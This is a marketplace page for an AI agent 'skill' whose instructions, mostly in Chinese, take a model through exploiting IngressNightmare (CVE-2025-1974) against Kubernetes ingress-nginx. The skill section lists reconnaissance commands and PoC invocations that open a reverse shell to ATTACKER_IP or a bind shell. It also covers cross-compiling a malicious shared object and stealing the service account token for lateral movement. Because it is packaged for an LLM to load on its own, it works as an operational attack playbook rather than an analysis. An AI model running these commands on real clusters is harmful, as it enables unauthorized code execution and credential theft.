K8s Ingress Nightmare logo

K8s Ingress Nightmare

OrganizationPopular
wgpsec
k8s-ingress-nightmare

IngressNightmare (CVE-2025-1974) — Kubernetes Ingress-NGINX Admission Controller 未授权 RCE。当目标 K8s 集群使用 ingress-nginx、发现 443/8443 端口的 admission webhook、或通过 Pod 网络可达 admission controller 时使用。涵盖漏洞原理、利用条件判断、PoC 使用、后续横向移动。

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namek8s-ingress-nightmare
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the K8s Ingress Nightmare AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/k8s-ingress-nightmare .claude/skills/k8s-ingress-nightmare
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable K8s Ingress Nightmare in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads K8s Ingress Nightmare on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so K8s Ingress Nightmare is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

IngressNightmare — CVE-2025-1974

Ingress-NGINX Admission Controller 未授权 RCE 漏洞链(CVSSv3 9.8),无需任何 K8s 凭据即可从 Pod 网络远程执行任意代码。

⛔ 深入参考(必读)


漏洞概述

IngressNightmare 是一组漏洞链(CVE-2025-24514 / CVE-2025-1097 / CVE-2025-1098 / CVE-2025-1974),攻击者通过两步实现 RCE:

  1. 向 NGINX 发送大请求,使其缓存为临时文件(/tmp/ 下可预测路径)
  2. 向 Admission Webhook 发送恶意 AdmissionReview,注入 ssl_engine 指令加载恶意 .so
  3. Webhook 运行 nginx -t 检查配置时触发代码执行

Phase 1: 前置条件确认

1.1 确认目标使用 ingress-nginx

bash
# 从集群外部
nmap -sV -p 443,8443,80 TARGET_IP
curl -sk https://TARGET_IP/ -I  # 看 Server 头是否包含 nginx

# 从 Pod 内部
kubectl get pods -n ingress-nginx 2>/dev/null
kubectl get svc -n ingress-nginx 2>/dev/null
env | grep -i ingress

1.2 定位 Admission Webhook

bash
# Admission webhook 默认监听 8443 端口
# 从 Pod 网络内部探测
INGRESS_SVC=$(kubectl get svc -n ingress-nginx -o jsonpath='{.items[0].spec.clusterIP}' 2>/dev/null)
curl -sk https://${INGRESS_SVC}:8443/networking/v1/ingresses

# 也可以直接探测 Pod IP
kubectl get pods -n ingress-nginx -o wide 2>/dev/null

1.3 定位 NGINX Uploader(请求缓存端点)

bash
# NGINX 监听在 80/443,需要能向其发送大请求
# uploader 就是 ingress-nginx 的 HTTP 入口
UPLOADER="http://${INGRESS_SVC}:80"
# 或直接用 Pod IP
UPLOADER="http://POD_IP:80"

Phase 2: 利用

2.1 使用 ingressNightmare PoC

bash
# 反弹 shell(最常用)
ingressnightmare -m r -r ATTACKER_IP -p 4444 -i https://INGRESS:8443 -u http://UPLOADER:80

# 绑定 shell
ingressnightmare -m b -b 9999 -i https://INGRESS:8443 -u http://UPLOADER:80

# 盲执行命令
ingressnightmare -m c -c 'id > /tmp/pwn' -i https://INGRESS:8443 -u http://UPLOADER:80

2.2 注入变体选择

注入方式参数CVE
auth-url(默认)--is-auth-urlCVE-2025-24514
auth-tls-match-cn--is-match-cn --auth-secret-name NAMECVE-2025-1097
mirror UID--is-mirror-uidCVE-2025-1098

2.3 目标架构不匹配处理

bash
# 如果出现 "Exec format error",目标可能是 arm64
ingressnightmare show-c > exp.c
# 用目标架构的交叉编译器编译
aarch64-linux-gnu-gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
ingressnightmare -m c -c 'id' --so ./danger.so -i https://INGRESS:8443 -u http://UPLOADER:80

Phase 3: 后续利用

RCE 落地在 ingress-nginx Pod 内,通常拥有高权限 ServiceAccount:

bash
# 获取 SA Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 检查 RBAC 权限(ingress-nginx 通常有 cluster-wide 权限)
kubectl auth can-i --list

# 横向 → 参考 k8s-container-escape skill

工具速查

工具用途安装 / 路径
ingressnightmareCVE-2025-1974 一体化 PoC(Go 编译,多平台)f8x -cloud 安装到 PATH;arsenal 投递物在 /pentest/arsenal/ingressnightmare/
kubectlK8s 集群管理f8x -cloud
nmap端口探测apt install nmap

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the K8s Ingress Nightmare AI skill do?

IngressNightmare (CVE-2025-1974) — Kubernetes Ingress-NGINX Admission Controller 未授权 RCE。当目标 K8s 集群使用 ingress-nginx、发现 443/8443 端口的 admission webhook、或通过 Pod 网络可达 admission controller 时使用。涵盖漏洞原理、利用条件判断、PoC 使用、后续横向移动。

Why use K8s Ingress Nightmare on TypingMind?

Because you install it once and use it with any model. K8s Ingress Nightmare is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install K8s Ingress Nightmare in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/k8s-ingress-nightmare. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use K8s Ingress Nightmare?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with K8s Ingress Nightmare?

As many as you like. As long as a model supports skills, you can use K8s Ingress Nightmare with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the K8s Ingress Nightmare AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇